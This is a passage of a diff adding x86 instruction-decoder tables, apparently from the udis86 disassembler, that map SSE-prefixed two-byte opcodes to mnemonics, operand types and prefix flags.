itab__pfx_sse66__0f__op_c7__reg__op_00__vendor[2] = { + /* 00 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 01 */ { UD_Ivmclear, O_Mq, O_NONE, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, +}; + +static struct ud_itab_entry itab__pfx_ssef2__0f[256] = { + /* 00 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 01 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 02 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 03 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 04 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 05 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 06 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 07 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 08 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 09 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 0A */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 0B */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 0C */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 0D */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 0E */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 0F */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 10 */ { UD_Imovsd, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 11 */ { UD_Imovsd, O_W, O_V, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 12 */ { UD_Imovddup, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 13 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 14 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 15 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 16 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 17 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 18 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 19 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 1A */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 1B */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 1C */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 1D */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 1E */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 1F */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 20 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 21 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 22 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 23 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 24 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 25 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 26 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 27 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 28 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 29 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 2A */ { UD_Icvtsi2sd, O_V, O_Ex, O_NONE, P_c2|P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* 2B */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 2C */ { UD_Icvttsd2si, O_Gvw, O_W, O_NONE, P_c1|P_aso|P_rexr|P_rexx|P_rexb }, + /* 2D */ { UD_Icvtsd2si, O_Gvw, O_W, O_NONE, P_c1|P_aso|P_rexr|P_rexx|P_rexb }, + /* 2E */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 2F */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 30 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 31 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 32 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 33 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 34 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 35 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 36 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 37 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 38 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 39 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 3A */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 3B */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 3C */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 3D */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 3E */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 3F */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 40 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 41 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 42 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 43 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 44 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 45 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 46 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 47 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 48 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 49 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 4A */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 4B */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 4C */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 4D */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 4E */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 4F */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 50 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 51 */ { UD_Isqrtsd, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 52 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 53 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 54 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 55 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 56 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 57 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 58 */ { UD_Iaddsd, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 59 */ { UD_Imulsd, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 5A */ { UD_Icvtsd2ss, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 5B */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 5C */ { UD_Isubsd, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 5D */ { UD_Iminsd, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 5E */ { UD_Idivsd, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 5F */ { UD_Imaxsd, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 60 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 61 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 62 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 63 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 64 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 65 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 66 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 67 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 68 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 69 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 6A */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 6B */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 6C */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 6D */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 6E */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 6F */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 70 */ { UD_Ipshuflw, O_V, O_W, O_Ib, P_aso|P_rexr|P_rexx|P_rexb }, + /* 71 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 72 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 73 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 74 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 75 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 76 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 77 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 78 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 79 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 7A */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 7B */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 7C */ { UD_Ihaddps, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 7D */ { UD_Ihsubps, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 7E */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 7F */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 80 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 81 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 82 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 83 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 84 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 85 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 86 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 87 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 88 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 89 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 8A */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 8B */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 8C */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 8D */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 8E */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 8F */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 90 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 91 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 92 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 93 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 94 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 95 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 96 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 97 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 98 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 99 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 9A */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 9B */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 9C */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 9D */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 9E */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 9F */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* A0 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* A1 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* A2 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* A3 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* A4 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* A5 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* A6 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* A7 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* A8 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* A9 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* AA */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* AB */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* AC */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* AD */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* AE */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* AF */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* B0 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* B1 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* B2 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* B3 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* B4 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* B5 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* B6 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* B7 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* B8 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* B9 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* BA */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* BB */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* BC */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* BD */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* BE */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* BF */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* C0 */ { UD_Ixadd, O_Eb, O_Gb, O_NONE, P_aso|P_rexw|P_rexr|P_rexx|P_rexb }, + /* C1 */ { UD_Ixadd, O_Ev, O_Gv, O_NONE, P_aso|P_oso|P_rexr|P_rexx|P_rexb }, + /* C2 */ { UD_Icmpsd, O_V, O_W, O_Ib, P_aso|P_rexr|P_rexx|P_rexb }, + /* C3 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* C4 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* C5 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* C6 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* C7 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* C8 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* C9 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* CA */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* CB */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* CC */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* CD */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* CE */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* CF */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* D0 */ { UD_Iaddsubps, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* D1 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* D2 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* D3 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* D4 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* D5 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* D6 */ { UD_Imovdq2q, O_P, O_VR, O_NONE, P_aso|P_rexb }, + /* D7 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* D8 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* D9 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* DA */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* DB */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* DC */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* DD */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* DE */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* DF */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* E0 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* E1 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* E2 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* E3 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* E4 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* E5 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* E6 */ { UD_Icvtpd2dq, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* E7 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* E8 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* E9 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* EA */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* EB */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* EC */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* ED */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* EE */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* EF */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* F0 */ { UD_Ilddqu, O_V, O_M, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* F1 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* F2 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* F3 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* F4 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* F5 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* F6 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* F7 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* F8 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* F9 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* FA */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* FB */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* FC */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* FD */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* FE */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* FF */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, +}; + +static struct ud_itab_entry itab__pfx_ssef3__0f[256] = { + /* 00 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 01 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 02 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 03 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 04 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 05 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 06 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 07 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 08 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 09 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 0A */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 0B */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 0C */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 0D */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 0E */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 0F */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 10 */ { UD_Imovss, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 11 */ { UD_Imovss, O_W, O_V, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 12 */ { UD_Imovsldup, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 13 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 14 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 15 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 16 */ { UD_Imovshdup, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 17 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 18 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 19 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 1A */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 1B */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 1C */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 1D */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 1E */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 1F */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 20 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 21 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 22 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 23 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 24 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 25 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 26 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 27 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 28 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 29 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 2A */ { UD_Icvtsi2ss, O_V, O_Ex, O_NONE, P_c2|P_aso|P_rexr|P_rexx|P_rexb }, + /* 2B */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 2C */ { UD_Icvttss2si, O_Gvw, O_W, O_NONE, P_c1|P_aso|P_rexr|P_rexx|P_rexb }, + /* 2D */ { UD_Icvtss2si, O_Gvw, O_W, O_NONE, P_c1|P_aso|P_rexr|P_rexx|P_rexb }, + /* 2E */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 2F */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 30 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 31 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 32 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 33 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 34 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 35 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 36 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 37 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 38 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 39 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 3A */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 3B */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 3C */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 3D */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 3E */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 3F */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 40 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 41 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 42 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 43 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 44 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 45 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 46 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 47 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 48 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 49 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 4A */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 4B */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 4C */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 4D */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 4E */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 4F */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 50 */ { UD_Iinvalid, O_NONE, O_NONE, O_NONE, P_none }, + /* 51 */ { UD_Isqrtss, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 52 */ { UD_Irsqrtss, O_V, O_W, O_NONE, P_aso|P_rexr|P_rexx|P_rexb }, + /* 53 */ { UD_Ircpss, O_V, 